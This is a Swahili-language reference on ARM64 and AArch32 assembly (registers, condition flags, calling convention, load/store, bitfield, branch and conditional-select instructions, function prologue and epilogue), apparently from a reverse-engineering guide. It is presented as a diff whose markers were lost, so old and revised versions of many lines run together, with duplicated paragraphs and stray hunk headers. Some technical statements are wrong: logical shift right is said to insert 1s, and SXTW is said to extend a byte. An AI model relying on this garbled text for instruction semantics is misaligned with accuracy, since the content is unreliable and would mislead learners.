Zinaweza kusomwa au kuwekwa tu kwa kutumia amri maalum iliyotengwa **`mrs`** na **`msr`**.
Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambatisho cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinakimbia).\
Mara nyingi hutumiwa kuhifadhi **anwani ya msingi ya eneo la uhifadhi wa thread-local** la kumbukumbu. Kawaida ya kwanza inasomeka na kuandikwa kwa programu zinazokimbia katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel).
Register maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa uhandisi wa kurudi. Kiambishi cha `EL0` kinaonyesha **kigezo kidogo** ambacho register inaweza kufikiwa (katika kesi hii EL0 ni kiwango cha kawaida cha kigezo (ruhusa) ambacho programu za kawaida zinakimbia).\
Mara nyingi hutumiwa kuhifadhi **anwani ya msingi ya eneo la uhifadhi wa thread-local** la kumbukumbu. Kwa kawaida ya kwanza inaweza kusomwa na kuandikwa kwa programu zinazokimbia katika EL0, lakini ya pili inaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel).
- `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 ndani ya x0`
- `msr TPIDR_EL0, X0 ; Andika x0 ndani ya TPIDR_EL0`
@ -68,31 +68,31 @@ Hizi ndizo sehemu zinazoweza kufikiwa:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
- Bendera za hali **`N`**, **`Z`**, **`C`** na **`V`**:
- **`N`** inamaanisha operesheni ilitoa matokeo hasi
- **`Z`** inamaanisha operesheni ilitoa sifuri
- **`N`** inamaanisha operesheni ilizalisha matokeo hasi
- **`Z`** inamaanisha operesheni ilizalisha sifuri
- **`C`** inamaanisha operesheni ilibeba
- **`V`** inamaanisha operesheni ilitoa overflow iliyosainiwa:
- Jumla ya nambari mbili chanya inatoa matokeo hasi.
- Jumla ya nambari mbili hasi inatoa matokeo chanya.
- Katika utoaji, wakati nambari kubwa hasi inatolewa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya upeo wa ukubwa wa bit uliotolewa.
- Kwa wazi processor haijui operesheni hiyo ina saini au la, hivyo itakagua C na V katika operesheni na kuashiria ikiwa kubeba kumetokea katika kesi ilikuwa na saini au isiyo na saini.
- **`V`** inamaanisha operesheni ilizalisha overflow iliyosainiwa:
- Jumla ya nambari mbili chanya inazalisha matokeo hasi.
- Jumla ya nambari mbili hasi inazalisha matokeo chanya.
- Katika utofauti, wakati nambari kubwa hasi inatolewa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya upeo wa ukubwa wa bit uliopewa.
- Kwa wazi processor haijui operesheni hiyo ina saini au la, hivyo itakagua C na V katika operesheni na kuashiria ikiwa kubeba kumetokea katika kesi ilikuwa ya saini au isiyo ya saini.
> [!WARNING]
> Si amri zote zinazosasisha bendera hizi. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na nyingine ambazo zina kiambishi cha s kama **`ADDS`** pia hufanya hivyo.
- Bendera ya **upana wa register wa sasa (`nRW`)**: Ikiwa bendera ina thamani 0, programu itakimbia katika hali ya utekelezaji ya AArch64 mara itakaporejeshwa.
- Bendera ya **upana wa sasa wa register (`nRW`)**: Ikiwa bendera ina thamani 0, programu itakimbia katika hali ya utekelezaji ya AArch64 mara itakaporejeshwa.
- **Kiwango cha Kigezo** (**`EL`**): Programu ya kawaida inayokimbia katika EL0 itakuwa na thamani 0
- Bendera ya **kuangalia moja** (**`SS`**): Inatumika na debuggers kuangalia moja kwa moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kigezo. Programu itakimbia hatua moja na kutoa kigezo cha hatua moja.
- Bendera ya hali ya **kigezo kisichofaa** (**`IL`**): Inatumika kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kigezo kisichofaa, bendera hii inawekwa kuwa 1 na processor inasababisha kigezo kisichofaa.
- Bendera za **`DAIF`**: Bendera hizi zinaruhusu programu yenye ruhusa kuchuja kwa hiari kigezo fulani za nje.
- Ikiwa **`A`** ni 1 inamaanisha **kuanzishwa kwa asynchronous** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupt ya vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupt ya Haraka** (FIRs).
- Bendera za **uchaguzi wa kielelezo cha stack** (**`SPS`**): Programu zenye ruhusa zinazokimbia katika EL1 na zaidi zinaweza kubadilisha kati ya kutumia register yao ya kielelezo cha stack na ile ya mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
- Ikiwa **`A`** ni 1 inamaanisha **kuondolewa kwa asynchronous** kutasababisha. **`I`** inasanidiwa kujibu **Maombi ya Interrupts ya vifaa vya nje** (IRQs). na F inahusiana na **Maombi ya Interrupts ya Haraka** (FIRs).
- Bendera za **uchaguzi wa pointer ya stack** (**`SPS`**): Programu zenye ruhusa zinazokimbia katika EL1 na juu zinaweza kubadilisha kati ya kutumia register yao ya pointer ya stack na ile ya mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Kubadilisha hii inafanywa kwa kuandika kwenye register maalum ya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
## **Mkataba wa Wito (ARM64v8)**
Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo vya ziada** vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** wakati wa wito wa kazi.
Mkataba wa wito wa ARM64 unasisitiza kwamba **vigezo vinane vya kwanza** kwa kazi vinapitishwa katika register **`x0` hadi `x7`**. **Vigezo** vya ziada vinapitishwa kwenye **stack**. Thamani ya **kurudi** inarudishwa katika register **`x0`**, au katika **`x1`** pia **ikiwa ni 128 bits ndefu**. Register za **`x19`** hadi **`x30`** na **`sp`** lazima **zihifadhiwe** kati ya wito wa kazi.
Wakati wa kusoma kazi katika assembly, angalia **prologue na epilogue ya kazi**. **Prologue** kawaida inahusisha **kuhifadhi kielelezo cha fremu (`x29`)**, **kuweka** kielelezo **kipya cha fremu**, na **kuandaa nafasi ya stack**. **Epilogue** kawaida inahusisha **kurejesha kielelezo cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi.
Wakati wa kusoma kazi katika assembly, angalia **prologue na epilogue ya kazi**. **Prologue** kwa kawaida inahusisha **kuhifadhi pointer ya frame (`x29`)**, **kuweka** pointer mpya ya frame, na **kuandaa nafasi ya stack**. **Epilogue** kwa kawaida inahusisha **kurejesha pointer ya frame iliyohifadhiwa** na **kurudi** kutoka kwa kazi.
### Mkataba wa Wito katika Swift
@ -106,26 +106,26 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc
- Mfano: `mov x0, x1` — Hii inahamisha thamani kutoka `x1` hadi `x0`.
- **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** hadi **register**.
- Mfano: `ldr x0, [x1]` — Hii inapakua thamani kutoka eneo la kumbukumbu lililoonyeshwa na `x1` hadi `x0`.
- **Njia ya Offset**: Offset inayohusiana na kiashiria cha asili inaonyeshwa, kwa mfano:
- `ldr x2, [x1, #8]`, hii itapakia x2 thamani kutoka x1 + 8
- `ldr x2, [x0, x1, lsl #2]`, hii itapakia x2 kitu kutoka kwenye array x0, kutoka kwenye nafasi x1 (index) \* 4
- **Njia ya Pre-indexed**: Hii itatumika kwa hesabu kwenye asili, kupata matokeo na pia kuhifadhi asili mpya kwenye asili.
- `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` ndani ya `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8`
- **Hali ya Offset**: Offset inayohusisha kiashiria cha asili inaonyeshwa, kwa mfano:
- `ldr x2, [x1, #8]`, hii itapakia katika x2 thamani kutoka x1 + 8
- `ldr x2, [x0, x1, lsl #2]`, hii itapakia katika x2 kitu kutoka kwenye array x0, kutoka kwenye nafasi x1 (index) \* 4
- **Hali ya Pre-indexed**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili.
- `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` katika `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8`
- `str lr, [sp, #-4]!`, Hifadhi register ya kiungo katika sp na sasisha register sp
- **Njia ya Post-index**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa na kisha offset inakokotwa na kuhifadhiwa.
- `ldr x0, [x1], #8`, pakia `x1` ndani ya `x0` na sasisha x1 na `x1 + 8`
- **Kuhusisha anwani ya PC**: Katika kesi hii anwani ya kupakia inakokotwa kulingana na register ya PC
- `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanzia ndani ya x1 inayohusiana na PC ya sasa.
- **Hali ya Post-index**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa na kisha offset inakokotwa na kuhifadhiwa.
- `ldr x0, [x1], #8`, pakia `x1` katika `x0` na sasisha x1 na `x1 + 8`
- **Uelekeo wa PC-relative**: Katika kesi hii anwani ya kupakia inakokotwa kulingana na register ya PC
- `ldr x1, =_start`, Hii itapakia anwani ambapo alama ya `_start` inaanza katika x1 inayohusiana na PC ya sasa.
- **`str`**: **Hifadhi** thamani kutoka **register** hadi **kumbukumbu**.
- Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu lililoonyeshwa na `x1`.
- **`ldp`**: **Pakia Jozi za Register**. Amri hii **inapakia register mbili** kutoka **sehemu za mfululizo za kumbukumbu**. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine.
- **`ldp`**: **Pakia Jozi za Register**. Amri hii **inapakia register mbili** kutoka **sehemu za kumbukumbu** zinazofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine.
- Mfano: `ldp x0, x1, [x2]` — Hii inapakua `x0` na `x1` kutoka maeneo ya kumbukumbu katika `x2` na `x2 + 8`, mtawalia.
- **`stp`**: **Hifadhi Jozi za Register**. Amri hii **inahifadhi register mbili** kwenye **sehemu za mfululizo za kumbukumbu**. Anwani ya kumbukumbu kawaida huundwa kwa kuongeza offset kwa thamani katika register nyingine.
- **`stp`**: **Hifadhi Jozi za Register**. Amri hii **inahifadhi register mbili** kwenye **sehemu za kumbukumbu** zinazofuatana. Anwani ya kumbukumbu kwa kawaida inaundwa kwa kuongeza offset kwa thamani katika register nyingine.
- Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp` na `sp + 8`, mtawalia.
- `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na sasisha `sp` na `sp+16`.
- **`add`**: **Ongeza** thamani za register mbili na uhifadhi matokeo katika register.
- Sintaksia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> Malengo
- Xn1 -> Marudio
- Xn2 -> Operandi 1
- Xn3 | #imm -> Operandi 2 (register au papo hapo)
- \[shift #N | RRX] -> Fanya shift au piga RRX
@ -142,33 +142,33 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc
- Mfano: `div x0, x1, x2` — Hii inagawanya thamani katika `x1` kwa `x2` na kuhifadhi matokeo katika `x0`.
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **Shift ya Kihisia Kushoto**: Ongeza 0s kutoka mwisho ukihamisha bits nyingine mbele (ongeza kwa n-mara 2)
- **Shift ya Kihisia Kulia**: Ongeza 1s mwanzoni ukihamisha bits nyingine nyuma (gawanya kwa n-mara 2 katika isiyo na saini)
- **Shift ya Kihisia Kulia**: Ongeza 1s mwanzoni ukihamisha bits nyingine nyuma (gawanya kwa n-mara 2 katika isiyo ya saini)
- **Shift ya Kihisia Kulia**: Kama **`lsr`**, lakini badala ya kuongeza 0s ikiwa bit muhimu zaidi ni 1, **1s zinaongezwa** (gawanya kwa n-mara 2 katika saini)
- **Pindua Kulia**: Kama **`lsr`** lakini chochote kinachondolewa kutoka kulia kinajumuishwa kushoto
- **Pindua Kulia na Kuongeza**: Kama **`ror`**, lakini na bendera ya kubeba kama "bit muhimu zaidi". Hivyo bendera ya kubeba inahamishwa kwa bit 31 na bit iliyondolewa kwa bendera ya kubeba.
- **`bfm`**: **Hamisha Uwanja wa Bit**, operesheni hizi **nakala bits `0...n`** kutoka thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaonyesha **nafasi ya bit ya kushoto** na **`#r`** kiwango cha **kuhamasisha kulia**.
- Hamisha uwanja wa bit: `BFM Xd, Xn, #r`
- Hamisha uwanja wa bit wenye saini: `SBFM Xd, Xn, #r, #s`
- Hamisha uwanja wa bit usio na saini: `UBFM Xd, Xn, #r, #s`
- **Kutoa na Kuingiza Uwanja wa Bit:** Nakala uwanja wa bit kutoka register moja na kuhamasisha kwenye register nyingine.
- **Piga Kulia**: Kama **`lsr`** lakini chochote kinachondolewa kutoka kulia kinatolewa kushoto
- **Piga Kulia na Kuongeza**: Kama **`ror`**, lakini na bendera ya kubeba kama "bit muhimu zaidi". Hivyo bendera ya kubeba inahamishwa kwa bit 31 na bit iliyondolewa kwa bendera ya kubeba.
- **`bfm`**: **Hamisha Bit Filed**, operesheni hizi **nakala bits `0...n`** kutoka kwa thamani na kuziweka katika nafasi **`m..m+n`**. **`#s`** inaashiria **nafasi ya bit ya kushoto** na **`#r`** ni **kiasi cha kuhamasisha kulia**.
- Hamisha bitfiled: `BFM Xd, Xn, #r`
- Hamisha Bitfield ya Saini: `SBFM Xd, Xn, #r, #s`
- Hamisha Bitfield isiyo ya Saini: `UBFM Xd, Xn, #r, #s`
- **Hamisha na Ingiza Bitfield:** Nakala bitfield kutoka register moja na kuhamasisha kwenye register nyingine.
- **`BFI X1, X2, #3, #4`** Ingiza bits 4 kutoka X2 kutoka bit ya 3 ya X1
- **`BFXIL X1, X2, #3, #4`** Toa kutoka bit ya 3 ya X2 bits nne na kuhamasisha kwenye X1
- **`SBFIZ X1, X2, #3, #4`** Ongeza saini bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia
- **`SBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2, inaongeza saini, na kuweka matokeo katika X1
- **`UBFIZ X1, X2, #3, #4`** Ongeza sifuri bits 4 kutoka X2 na kuhamasisha kwenye X1 kuanzia kwenye nafasi ya bit 3 ikizima bits za kulia
- **`UBFX X1, X2, #3, #4`** Inatoa bits 4 kuanzia bit 3 kutoka X2 na kuweka matokeo yaliyoongezwa sifuri katika X1.
- **Ongeza Saini kwa X:** Ongeza saini (au ongeza tu 0s katika toleo lisilo na saini) ya thamani ili uweze kufanya operesheni nayo:
- **Ongeza Saini kwa X:** Ongeza saini (au ongeza tu 0s katika toleo lisilo la saini) la thamani ili uweze kufanya operesheni nayo:
- **`SXTB X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** (`W2` ni nusu ya `X2`) ili kujaza 64bits
- **`SXTH X1, W2`** Ongeza saini ya nambari ya 16bit **kutoka W2 hadi X1** ili kujaza 64bits
- **`SXTW X1, W2`** Ongeza saini ya byte **kutoka W2 hadi X1** ili kujaza 64bits
- **`UXTB X1, W2`** Ongeza 0s (isiyo na saini) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits
- **`UXTB X1, W2`** Ongeza 0s (isiyo ya saini) kwa byte **kutoka W2 hadi X1** ili kujaza 64bits
- **`extr`:** Inatoa bits kutoka **jozi maalum za register zilizounganishwa**.
- Mfano: `EXTR W3, W2, W1, #3` Hii itajumuisha **W1+W2** na kupata **kuanzia bit 3 ya W2 hadi bit 3 ya W1** na kuhifadhi katika W3.
- **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya malengo kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`.
- Mfano: `EXTR W3, W2, W1, #3` Hii itafanya **kuunganisha W1+W2** na kupata **kuanzia bit 3 ya W2 hadi bit 3 ya W1** na kuhifadhi katika W3.
- **`cmp`**: **Linganisha** register mbili na kuweka bendera za hali. Ni **alias ya `subs`** ikiseti register ya marudio kuwa register ya sifuri. Inafaida kujua ikiwa `m == n`.
- Inasaidia **sintaksia sawa na `subs`**
- Mfano: `cmp x0, x1` — Hii inalinganisha thamani katika `x0` na `x1` na kuweka bendera za hali ipasavyo.
- **`cmn`**: **Linganishi operand hasi**. Katika kesi hii ni **alias ya `adds`** na inasaidia sintaksia sawa. Inafaida kujua ikiwa `m == -n`.
- **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha ya awali ilikuwa kweli na itaseti bits za nzcv kwa usahihi.
- **`ccmp`**: Linganisha kwa masharti, ni kulinganisha ambayo itafanywa tu ikiwa kulinganisha kwa awali ilikuwa kweli na itaseti bits za nzcv kwa usahihi.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ikiwa x1 != x2 na x3 < x4, ruka kwa func
- Hii ni kwa sababu **`ccmp`** itatekelezwa tu ikiwa **`cmp` ya awali ilikuwa `NE`**, ikiwa haikuwa bits `nzcv` zitawekwa kuwa 0 (ambayo haitaridhisha kulinganisha `blt`).
- Hii pia inaweza kutumika kama `ccmn` (sawa lakini hasi, kama `cmp` dhidi ya `cmn`).
@ -177,28 +177,28 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc
- **`teq`**: Operesheni ya XOR ikitenga matokeo
- **`b`**: Tawi lisilo na masharti
- Mfano: `b myFunction`
- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine zinazohitaji kurudi nyuma)
- **`bl`**: **Tawi** na kiungo, inatumika **kuita** **subroutine**. Inahifadhi **anwani ya kurudi katika `x30`**.
- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma)
- **`bl`**: **Tawi** na kiungo, inatumika **kuita** **subroutine**. Hifadhi **anwani ya kurudi katika `x30`**.
- Mfano: `bl myFunction` — Hii inaita kazi `myFunction` na kuhifadhi anwani ya kurudi katika `x30`.
- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine zinazohitaji kurudi nyuma)
- **`blr`**: **Tawi** na Kiungo kwa Register, inatumika **kuita** **subroutine** ambapo lengo linatolewa katika **register**. Inahifadhi anwani ya kurudi katika `x30`. (Hii ni
- Kumbuka kwamba hii haitajaza register ya kiungo na anwani ya kurudi (siyo sahihi kwa wito wa subrutine ambao unahitaji kurudi nyuma)
- **`blr`**: **Tawi** na Kiungo kwa Register, inatumika **kuita** **subroutine** ambapo lengo linatolewa katika **register**. Hifadhi anwani ya kurudi katika `x30`. (Hii ni
- Mfano: `blr x1` — Hii inaita kazi ambayo anwani yake inapatikana katika `x1` na kuhifadhi anwani ya kurudi katika `x30`.
- **`ret`**: **Rudi** kutoka **subroutine**, kawaida ikitumia anwani katika **`x30`**.
- Mfano: `ret` — Hii inarudi kutoka subroutine ya sasa ikitumia anwani ya kurudi katika `x30`.
- **`ret`**: **Rudi** kutoka **subroutine**, kwa kawaida ikitumia anwani katika **`x30`**.
- Mfano: `ret` — Hii inarudi kutoka kwa subroutine ya sasa ikitumia anwani ya kurudi katika `x30`.
- **`b.<cond>`**: Matawi ya masharti
- **`b.eq`**: **Tawi ikiwa sawa**, kulingana na amri ya awali ya `cmp`.
- Mfano: `b.eq label` — Ikiwa amri ya awali ya `cmp` iligundua thamani mbili sawa, hii inaruka kwa `label`.
- **`b.ne`**: **Tawi ikiwa Siyo Sawa**. Amri hii inakagua bendera za hali (ambazo ziliwekwa na amri ya kulinganisha ya awali), na ikiwa thamani zilizolinganishwa hazikuwa sawa, inatunga kwa lebo au anwani.
- Mfano: Baada ya amri ya `cmp x0, x1`, `b.ne label` — Ikiwa thamani katika `x0` na `x1` hazikuwa sawa, hii inaruka kwa `label`.
- **`cbz`**: **Linganishi na Tawi kwenye Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa sawa, inatunga kwa lebo au anwani.
- **`cbz`**: **Linganishi na Tawi kwa Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa sawa, inatunga kwa lebo au anwani.
- Mfano: `cbz x0, label` — Ikiwa thamani katika `x0` ni sifuri, hii inaruka kwa `label`.
- **`cbnz`**: **Linganishi na Tawi kwenye Siyo Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani.
- **`cbnz`**: **Linganishi na Tawi kwa Siyo Sifuri**. Amri hii inalinganisha register na sifuri, na ikiwa hazikuwa sawa, inatunga kwa lebo au anwani.
- Mfano: `cbnz x0, label` — Ikiwa thamani katika `x0` si sifuri, hii inaruka kwa `label`.
- **`tbnz`**: Jaribu bit na tawi kwenye si sifuri
- **`tbnz`**: Jaribu bit na tawi kwa siyo sifuri
- Mfano: `tbnz x0, #8, label`
- **`tbz`**: Jaribu bit na tawi kwenye sifuri
- **`tbz`**: Jaribu bit na tawi kwa sifuri
- Mfano: `tbz x0, #8, label`
- **Operesheni za kuchagua kwa masharti**: Hizi ni operesheni ambazo tabia zao zinabadilika kulingana na bits za masharti.
- **Operesheni za kuchagua kwa masharti**: Hizi ni operesheni ambazo tabia yake inabadilika kulingana na bits za masharti.
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ikiwa kweli, X0 = X1, ikiwa si kweli, X0 = X2
- `csinc Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = Xm + 1
- `cinc Xd, Xn, cond` -> Ikiwa kweli, Xd = Xn + 1, ikiwa si kweli, Xd = Xn
@ -207,10 +207,10 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc
- `csneg Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = Xn, ikiwa si kweli, Xd = - Xm
- `cneg Xd, Xn, cond` -> Ikiwa kweli, Xd = - Xn, ikiwa si kweli, Xd = Xn
- `cset Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = 1, ikiwa si kweli, Xd = 0
- `csetm Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = \<wote 1>, ikiwa si kweli, Xd = 0
- **`adrp`**: Hesabu **anwani ya ukurasa wa alama** na uhifadhi katika register.
- Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa wa `symbol` na kuihifadhi katika `x0`.
- **`ldrsw`**: **Pakia** thamani ya saini **32-bit** kutoka kumbukumbu na **ongeza saini hadi 64** bits.
- `csetm Xd, Xn, Xm, cond` -> Ikiwa kweli, Xd = \<all 1>, ikiwa si kweli, Xd = 0
- **`adrp`**: Hesabu **anwani ya ukurasa ya alama** na uhifadhi katika register.
- Mfano: `adrp x0, symbol` — Hii inahesabu anwani ya ukurasa ya `symbol` na kuihifadhi katika `x0`.
- **`ldrsw`**: **Pakia** thamani ya saini **ya 32-bit** kutoka kumbukumbu na **ongeza saini hadi 64** bits.
- Mfano: `ldrsw x0, [x1]` — Hii inapakua thamani ya saini ya 32-bit kutoka eneo la kumbukumbu lililoonyeshwa na `x1`, inaongeza saini hadi 64 bits, na kuihifadhi katika `x0`.
- **`stur`**: **Hifadhi thamani ya register kwenye eneo la kumbukumbu**, kwa kutumia offset kutoka register nyingine.
- Mfano: `stur x0, [x1, #4]` — Hii inahifadhi thamani katika `x0` kwenye anwani ya kumbukumbu ambayo ni bytes 4 zaidi kuliko anwani iliyopo katika `x1`.
@ -219,36 +219,36 @@ Amri za ARM64 kwa ujumla zina **muundo `opcode dst, src1, src2`**, ambapo **`opc
- Mfano:
```armasm
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
mov x8, 93 ; Pakia nambari ya wito wa mfumo kwa kutoka (93) ndani ya register x8.
mov x0, 0 ; Pakia msimamo wa kutoka (0) ndani ya register x0.
svc 0 ; Fanya wito wa mfumo.
```
### **Prologue ya Kazi**
1. **Hifadhi register ya kiungo na kielelezo cha fremu kwenye stack**:
1. **Hifadhi register ya kiungo na pointer ya frame kwenye stack**:
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
2. **Weka kiashiria kipya cha fremu**: `mov x29, sp` (weka kiashiria kipya cha fremu kwa kazi ya sasa)
3. **Panga nafasi kwenye stack kwa ajili ya mabadiliko ya ndani** (ikiwa inahitajika): `sub sp, sp, <size>` (ambapo `<size>` ni idadi ya bytes zinazohitajika)
2. **Weka kiashiria kipya cha fremu**: `mov x29, sp` (weka kiashiria kipya cha fremu kwa kazi ya sasa)
3. **Panga nafasi kwenye stack kwa ajili ya mabadiliko ya ndani** (ikiwa inahitajika): `sub sp, sp, <size>` (ambapo `<size>` ni idadi ya bytes zinazohitajika)
### **Hitimisho la Kazi**
### **Epilogue ya Kazi**
1. **Ondoa mabadiliko ya ndani (ikiwa yoyote yalipangwa)**: `add sp, sp, <size>`
1. **Futa mabadiliko ya ndani (ikiwa yoyote yalikuwa yamepangwa)**: `add sp, sp, <size>`
2. **Rejesha kiashiria cha kiungo na kiashiria cha fremu**:
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
3. **Return**: `ret` (inarudisha udhibiti kwa mpiga simu kwa kutumia anwani katika register ya kiungo)
3. **Return**: `ret` (inarudisha udhibiti kwa mwito kwa kutumia anwani katika register ya kiungo)
## AARCH32 Hali ya Utendaji
Armv8-A inasaidia utendaji wa programu za bit 32. **AArch32** inaweza kukimbia katika moja ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\
**Programu zenye mamlaka** za bit 64 zinaweza kupanga **utendaji wa programu za bit 32** kwa kutekeleza uhamisho wa kiwango cha kipekee kwa bit 32 zenye mamlaka ya chini.\
Kumbuka kwamba mpito kutoka bit 64 hadi bit 32 unafanyika kwa kupunguza kiwango cha kipekee (kwa mfano, programu ya bit 64 katika EL1 ikichochea programu katika EL0). Hii inafanywa kwa kuweka **bit 4 ya** **`SPSR_ELx`** register maalum **kuwa 1** wakati mchakato wa `AArch32` uko tayari kutekelezwa na sehemu nyingine ya `SPSR_ELx` inahifadhi **`AArch32`** programu CPSR. Kisha, mchakato wenye mamlaka unaita **`ERET`** maagizo ili processor ipitie **`AArch32`** kuingia katika A32 au T32 kulingana na CPSR\*\*.\*\*
**Programu za 64-bit** zenye mamlaka zinaweza kupanga **utendaji wa programu za 32-bit** kwa kutekeleza uhamisho wa kiwango cha kipekee kwa 32-bit yenye mamlaka ya chini.\
Kumbuka kwamba mpito kutoka 64-bit hadi 32-bit unafanyika kwa kupunguza kiwango cha kipekee (kwa mfano, programu ya 64-bit katika EL1 ikichochea programu katika EL0). Hii inafanywa kwa kuweka **bit 4 ya** **`SPSR_ELx`** register maalum **kuwa 1** wakati mchakato wa `AArch32` uko tayari kutekelezwa na sehemu nyingine ya `SPSR_ELx` inahifadhi **CPSR** za programu za **`AArch32`**. Kisha, mchakato wenye mamlaka unaita maagizo ya **`ERET`** ili processor ipitie **`AArch32`** ikingia katika A32 au T32 kulingana na CPSR**.**
**`interworking`** inafanyika kwa kutumia bit J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **bit ya chini zaidi kuwa 1** kuashiria kwamba seti ya maagizo ni T32.\
**`interworking`** inafanyika kwa kutumia bit J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **bit ya chini kabisa kuwa 1** kuashiria kwamba seti ya maagizo ni T32.\
Hii imewekwa wakati wa **maagizo ya tawi la interworking,** lakini inaweza pia kuwekwa moja kwa moja na maagizo mengine wakati PC imewekwa kama register ya marudio. Mfano:
Mfano mwingine:
@ -264,7 +264,7 @@ mov r0, #8
```
### Registers
Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi zimehifadhiwa:
Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi huhifadhiwa:
- **`r15`**: Program counter (daima). Inashikilia anwani ya amri inayofuata. Katika A32 sasa + 8, katika T32, sasa + 4.
- **`r11`**: Frame Pointer
@ -272,12 +272,12 @@ Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika k
- **`r13`**: Stack Pointer
- **`r14`**: Link Register
